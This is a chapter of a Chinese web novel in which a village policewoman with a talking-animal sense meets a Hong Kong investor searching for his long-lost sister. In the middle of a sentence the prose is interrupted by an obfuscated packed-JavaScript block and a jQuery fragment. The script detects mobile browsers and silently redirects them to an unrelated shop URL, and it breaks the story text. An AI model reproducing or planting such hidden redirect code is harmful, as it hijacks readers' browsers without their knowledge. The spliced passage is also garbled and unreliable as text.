头发花白的李老爷子坐在自家门槛旁的小竹椅上,身上裹着厚厚的藏蓝色棉袄,正对着面前两个西装革履的陌生男人侃侃而谈。
“那时候我看她可可怜喽,”老爷子叹了口气,满是皱纹的手在膝盖上比划着,“那么冷的天,就穿了件单薄的碎花衫,嘴唇都冻紫了。我家老婆子心软,赶紧找了件她的旧棉袄给她披上,本来还想招呼她进屋喝口热汤的……”
他顿了顿,拿起脚边那个陶瓷杯,呷了一口浓茶,润了润有些发干的喉咙,“可就在这当口,突然就过来了几个壮小伙……”
坐在老爷子右侧的西装男,便是那日在糖油果子摊上的,他姿态谦和,适时地接过话头,语气温和而带着恰到好处的感激:“老爷子,您和您太太真是心善,积善之家必有余庆,怪不得二老如此高寿康健。”
他话锋一转,引导着话题,“后来那几个小伙子……那位女士,没受伤吧?”
李老爷子摸着下巴上花白的短须,浑浊的眼睛努力回想着,“受伤……应该没有。后来那几个小伙子里头,有个领头的,说那是他媳妇,两口子正闹脾气呢,说着就要拉那女娃走。”
“我家老婆子机警,看那女娃眼神躲闪,一脸不情愿,就觉得不对劲。赶紧塞了几个刚出锅的大白馒头到她手里,又悄悄拉着她袖子,当她要是受了委屈,记得来永泰镇找我们。’”
老人又叹了口气:“那女娃起初是死活不肯跟他们走的,犟着呢。可不知道那男的凑到她耳边低声说了句什么,她脸色唰地一下就白了,最后……最后还是低着头跟他们走了。”
“后来啊?后来那女娃一直没找过来……我们这老房子一直没挪窝哩。唉,想来……应该也还过得去吧……”老爷子的声音渐渐低了下去。
一直静默坐在张秘书旁边的男人此时微微动了一下。
他身形极为高大挺拔,肩宽腰窄,标准的倒三角身材。
他屈身坐在那张小小的木质马扎上,两条无处安放的长腿只能委屈地屈着,黑色的大衣质地精良,与这有些破旧的小镇街景格格不入。
听到老爷子不确定的结局,男人并未催促,只是用那双浅棕色的眸子平静地看着老人,声音低沉而清晰,带着一丝不易察觉的粤语口音:“老爷子,您能确定,她后来真的从未回来过吗?”
他的普通话很标准,只是偶尔在尾音上带着点口音。
李老爷子肯定地点点头:“没来过,我们一直在这儿。”
西装男再次从公文包里取出那张已有些泛白的照片,小心地举到老爷子眼前:“老爷子,您再仔细看看,确定当年见过的,真的是这位女士吗?”
老爷子眯着眼,凑近了仔细端详了好一会儿,再次笃定地点头:“确定是她。小伙子,你都给我看好几遍啦。老爷子我是有点老糊涂了,但绝对不会认错人哩!”
“这女娃当时白得跟雪娃娃似的,眼睛又大又亮,水汪汪的,一看就不是我们本地人的样貌,我才记得这么清楚。”
西装男还想再确认些什么细节,身材高大的男人却几不可察地抬了抬手。
西装男立刻会意,不再追问。
直到这时,穆念才从方才听到的对话中彻底回过神,注意力完全落在了那个高大的背影上。
这身材比例,这头小肩宽的架子,放在她第一世,绝对是能让直播间疯狂刷礼物的顶级男模;放在第二世,恐怕是能引得合欢宗争相采补的“天材地宝”。
男人感觉极为敏锐,几乎在穆念目光聚焦的瞬间便已察觉。
他没有立刻回头,只是头微微向一侧偏过一个极小的角度。
穆念眼波流转,灵识微动,已察觉到两旁巷道里若有若无的几道气息,沉稳而带着戒备。
看来是保镖。
这年头能带着保镖出门的人,非富即贵。
她将肩膀上的两只猫儿轻轻抱下来,随即扬起一个爽朗的笑容,扬声打招呼:“李老爷子,今儿个又拉着哪位过路的听您讲故事呢?”
李老爷子一听到穆念的声音,脸上深刻的皱纹立刻像菊花般舒展开来:“念娃子!你可算来啦!”
他忙不迭地拿起旁边椅子上放着的馒头,“快来,今天老婆子做了你最爱吃的红糖馒头,还热乎着咧!”
“您老自己快吃吧,我吃过早饭了。”穆念一边笑着走过去,一边自然地伸手扶住想要起身的老爷子,“哎,别动别动,地上滑,您要摔了奶奶可得找我算账。”
她目光快速扫过两旁巷道,果然瞥见几个身形健硕的男人身影,或靠或站,看似随意,实则封锁了所有可能接近的路径。
心下对这两位的身份又有了新的评估。
想起刚刚这两人有些别扭的口音,再联想到刚刚那准备要剪彩的两家店。
莫不是……港岛那边回来投资的商人?
“今天没穿你那身精神衣裳?休息么?”李老爷子咬了口馒头,含糊地问,“待会儿进去拿点馒头走,老婆子昨天还念叨,说你好几天没来窜门了,是不是工作忙。”
穆念连忙摆手,半开玩笑半认真地拿出纪律说事:“可别!李爷爷,我们警察可不能随便拿群众的一针一线,被发现可是要受处分、丢饭碗的!”
她将话题引向两人,带着恰到好处的好奇:“老爷子,这二位是您家亲戚?看着挺面生啊。”
这一抬眼,正对上看过来的高大男人。
穆念活了两辈子,穿越过两个世界,自认见过的美男子不计其数,但此刻,心头还是忍不住微微一怔。
这身形高大的男人,肤色是冷调的白,鼻梁高挺得近乎锐利,唇形薄而线条分明,组合在一起,天然便是一副风流多情的桃花相。
然而,那双浅棕色的眼眸却像结了冰的琥珀,深邃、冷冽,不带丝毫暖意和情绪波动,将他皮相上的秾丽冲击力生生压了下去,转化为一种禁欲的、带有强烈距离感的气质。
黑色短发打理得一丝不苟,更衬得他轮廓清晰,气质卓然。
穆念从未见过这男人,但他对她却并非毫无印象。
毕竟那日街头,一个容貌昳丽、身手却能撵着摩托车狂奔的女警,想不记住都难。
他港岛家中往来皆是名媛明星,各色美貌早已看得麻木,但能将极致的美貌与如此……生猛的行事风格结合在一起的,绝无仅有。
他带着一丝不易察觉的探究看了穆念一眼,但骨子里刻着的绅士教养,让他很快便将视线礼貌地定格在穆念的眼睛上,并未在她脸上过多停留。
他看着穆念那双独特的、内眼角尖而眼尾微翘的狐狸眼,自我介绍道:“姓林,林屿。从港岛来。”
他的声音低沉,是那种很有磁性的低音炮,“觉得永泰镇环境很好,打算在这里做些投资。”
言简意赅,没有多余的寒暄。
穆念心下念头飞转,面上却笑得熟稔:“我姓穆,穆念。原来是林先生。前面那两家气派的酒楼和时装店,就是您的手笔吧?果然大气。”
她这话带着一丝不易察觉的试探。
林屿何等敏锐,立刻听出了穆念言语下的试探。
他想到后续还需常来永泰镇寻人,与当地派出所维持良好关系利大于弊,便难得地多解释了一句,语气稍缓:“只是初步尝试,小投资而已,穆警官过奖了。”
一旁的张秘书立刻领会了老板的意思,上前半步,笑容得体地接话:“穆警官您好,我姓张,张家谦,是林先生的秘书。您叫我小张或张秘书都行。”
他说话条理清晰,姿态放得低,让人心生好感,“我们前期来考察过几次,都觉得永泰镇人杰地灵,发展潜力很好,便在这里投资置业。”
这话说得滴水不漏,既抬高了本地,又解释了投资动机,让人挑不出错处。
张秘书看了一眼林屿,见对方没有阻止的意思,便继续道,语气带上了几分恰到好处的沉重:“实不相瞒,穆警官,我们此次前来,也是为了寻人。林先生的姐姐,在二十年前与家人失散,我们多方查找,最近才查到线索,她最后出现的地点,可能就在永泰镇附近。”
穆念从刚才的对话和李老爷子的叙述里,早已猜到七八分。
只是没想到,他们要找的竟然是眼前这位冷面男人的亲姐姐。
看他年纪,他姐姐失踪时,他恐怕还是个孩童。
在这种富裕家庭长大,姐姐当年失踪,内情恐怕不简单。
她心中瞬间闪过许多豪门恩怨、绑架拐卖的猜测,最终只化为对那个命运未知的女子一丝淡淡的惋惜。
从富裕的港岛到这边,如果活着,这些年大概会受不少苦。
她收敛心思,正色建议道:“找人这种事,单靠个人力量,尤其是在人生地不熟的地方,确实困难。你们既然有了线索,完全可以到我们永泰镇派出所正式报案,备案留底,我们系统内也会帮忙留意协查。”
张秘书心里暗暗擦了把汗。他之前不是没提议过,但被林屿以“效率低下,程序繁琐”为由直接否决了。
在他看来,这边的发展程度和行政效率与港岛相差甚远,更何况是二十年前的旧案,希望更是渺茫。
不过这种大实话是万万不能当着本地警察的面说的。
他脸上笑容不变,从善如流地答道:“穆警官说的是,我们正有此意,打算稍后就去派出所咨询报案。只是担心……事隔二十年,不知道是否还在受理范围,会不会太麻烦各位同志?”
这时,李老爷子插话道,带着对本地治安力量的天然信任:“那肯定管噻!我们永泰镇派出所的同志,个个都是好样的,为人民服务,负责得很!你们去好好说,肯定管!”
穆念心里哭笑不得,暗道老爷子您这可真是给我们戴高帽了。
别说二十年前的失踪人口,就是现在刚丢的,在这没有天眼监控、信息流通缓慢的年代,寻找起来也如同大海捞针。
不过她自然不会拆自家的台,只能顺着话笑道:“老爷子说得对,我们肯定会尽力协助。只是年代确实久远,很多物证、人证可能都模糊了,调查起来需要时间,也希望你们能理解,有个心理准备。”
林屿对此不置可否。
他本质上更相信资本的力量,认为重赏之下必有勇夫,金钱能更快地撬开知情人的嘴。
事实上,他也正是用这种方法,才在短时间内将姐姐最后的踪迹锁定到永泰镇。
对于官方渠道,他并未抱太大期望。
他可有可无地点了点头,目光微垂,落在了守在穆念脚边的那两只猫身上。
体型稍大的狸花猫蹲坐在穆念左脚边,碧绿色的猫眼锐利如刀,瞳孔缩成一条细线,紧紧锁定在林屿身上,身体肌肉微微绷紧,尾巴尖低垂,贴着地面,只有最末端极轻微地颤动一下,是标准的戒备姿态。
相比同伴的紧张,那只三花猫则显得毫无心机,它坐在穆念右脚边,歪着毛茸茸的小脑袋,一双澄澈的黄色大眼睛里满是好奇,正毫不避讳地打量着眼前这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688156|207571||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个“庞然大物”。
而那只小麻雀,早已趁人不备,蹦蹦跳跳地落在了李老爷子身旁的小木桌上,正撅着毛茸茸的小屁股,专心致志地啄食老爷子偷偷洒在桌上的包子屑。
林屿审视的目光似乎激怒了本就警惕的狸花猫。
它背部弓起,全身的毛瞬间炸开,让原本矫健的身形顿时大了一圈,喉咙里发出低沉而充满警告意味的“呜噜”声,尾巴像根棍子似的直直竖起,尾毛炸开。
穆念还是第一次见狸花猫对陌生人表现出如此强烈的敌意,心下诧异,连忙弯腰将它整个抱进怀里。
“咋了,狸花老大?”
她轻轻顺着它炸开的背毛,试图安抚,“放松点,别紧张,眼前这个不是坏人。”
“喵呜——!”狸花猫在她怀里不满地扭动。
【他身上有危险气息!猫不喜欢!】
穆念有点尴尬,赶紧把狸花猫的脑袋按进自己臂弯里。
她一边继续摸着猫脊梁,试图把那炸开的毛抚平,一边对林屿解释道:“抱歉啊,它平时挺沉稳的,不知道今天怎么回事……”
话一出口就觉得不对,这不等于是说林屿特别招猫恨吗?
看着林屿那张没什么表情的俊脸,穆念赶紧找补:“可能……可能是早上没吃饱,肚子饿,脾气就有点大。它不是针对你,真的。”
“喵呜!”怀里的狸花猫发出抗议的叫声,尾巴甩得啪啪响,显然不同意这个说法。
与狸花猫的剑拔弩张形成鲜明对比的是,那只小三花不知何时已经悄无声息地挪到了林屿锃亮的皮鞋边,正仰着那张傻白甜的小脸,继续用它那纯真无邪的黄眼睛好奇地盯着他看。
嗯……还有桌上那只撅着屁股、对周遭一切毫无所觉、吃得正欢的小麻雀。
林屿的视线从炸毛的狸花,移到脚边的三花,再落到桌上的麻雀,最后回到穆念那张带着些许无奈和尴尬、却依然明艳动人的脸上。
“你养的这些动物,”他心里带着点好奇,但声音依旧平淡无波,“都挺有趣的。”
穆念琢磨着他这话里的意思,是真觉得有趣,还是拐着弯嘲讽?
不过她向来心态极佳,便自动理解为前者了。
她伸手把桌上还在埋头苦吃的小麻雀捞回来,揣进上衣口袋,对林屿笑道:“林先生,张秘书,你们有空可以去派出所详细登记一下失踪人口的情况,我们这边会尽力协助查询。派出所就在隔壁街,走过去几分钟就到。我后面还有点事,就先走了。”
她又转头叮嘱李老爷子,语气带着熟稔的亲昵:“李爷爷,您那藏在床底下的半瓶高粱酒,我可记着数呢!天冷也不能多喝,再让我发现您偷偷过量,我就真告诉奶奶了,到时候您那点零花钱,可就彻底泡汤了。”
李老爷子像被踩了尾巴的猫,讪讪地摆手:“晓得啦晓得啦!你这丫头,管得比老婆子还宽!”
穆念又把口袋里探出头的小麻雀按回去,戳戳它的小脑袋:“你也别再贪吃了,看看你这圆滚滚的肚子,明年春天要还是这么胖,我看你怎么飞得起来!”
“啾啾!啾!”小麻雀在她口袋里不满地扑腾。
“嘿呀,我怎么污蔑你了?下午看完怡萱和耀祖的表演,你自个儿问问他们,小孩子可不会撒谎,看他们说不说你胖!”
“喵呜!”怀里的狸花猫还在愤愤不平。
“好了好了,别气了。哎哟喂,我这真是……”穆念一边手忙脚乱地安抚着怀里的猫,一边揣着口袋里的雀,嘴里还不停念叨着。
那活泼又带着点无奈的声音,伴着她渐渐远去的背影,消散在细雪微风中。
直到那抹窈窕的身影消失在巷口,林屿才不动声色地收回了目光。
“念念是个好姑娘哇,”李老爷子看着林屿,浑浊的老眼里闪过一丝促狭的光,活像个老小孩,“长得跟画里的人似的,性子又爽利。听说我们所里、镇上,好多不错的小伙子都想追她哩,就是年轻人都脸皮薄……我看你俩站一块儿,倒是挺般配……”
人老了,就爱操心年轻人的婚事。
张秘书一看自家老板那瞬间冷了几分的侧脸线条,暗道不好。
他赶紧上前打断李老爷子的话头,从公文包里迅速掏出几张印制精美的优惠券,塞到老爷子手里:“李老爷子,这是酒楼和时装店的开业优惠券,能直接当钱使的!您和婆婆下午一定来凑凑热闹,沾沾喜气!”
哎哟喂,可别再乱点鸳鸯谱了!
老板在港岛被家里长辈催婚催得都快产生应激反应了,每次回老宅都像上战场。
李老爷子的注意力果然被转移了,看着那从未见过的“优惠券”,连连摆手:“这……这怎么好意思,我要你们这些钱干什么,不用不用!”
“您拿着。”林屿开口,声音恢复了之前的冷冽,却带着不容拒绝的意味,“谢谢您,提供了关于我姐姐的重要信息,也谢谢您和您太太,当年……曾对她施以援手。”
他说完,不等李老爷子再推辞,便径直站起身。
张秘书趁机将优惠券硬塞进老爷子的棉袄口袋里,拿起公文包,低声道:“老爷子您就收下吧,一点心意,不值什么钱。您要是不收,我们老板心里过意不去。”
“不值什么钱”自然是安慰老人的话,那几张优惠券的面额,足够老两口舒舒服服地添置好几身新冬衣,再下馆子吃上好几顿丰盛的酒席了。
说完,他匆匆拿起公文包,跟上林屿的步伐。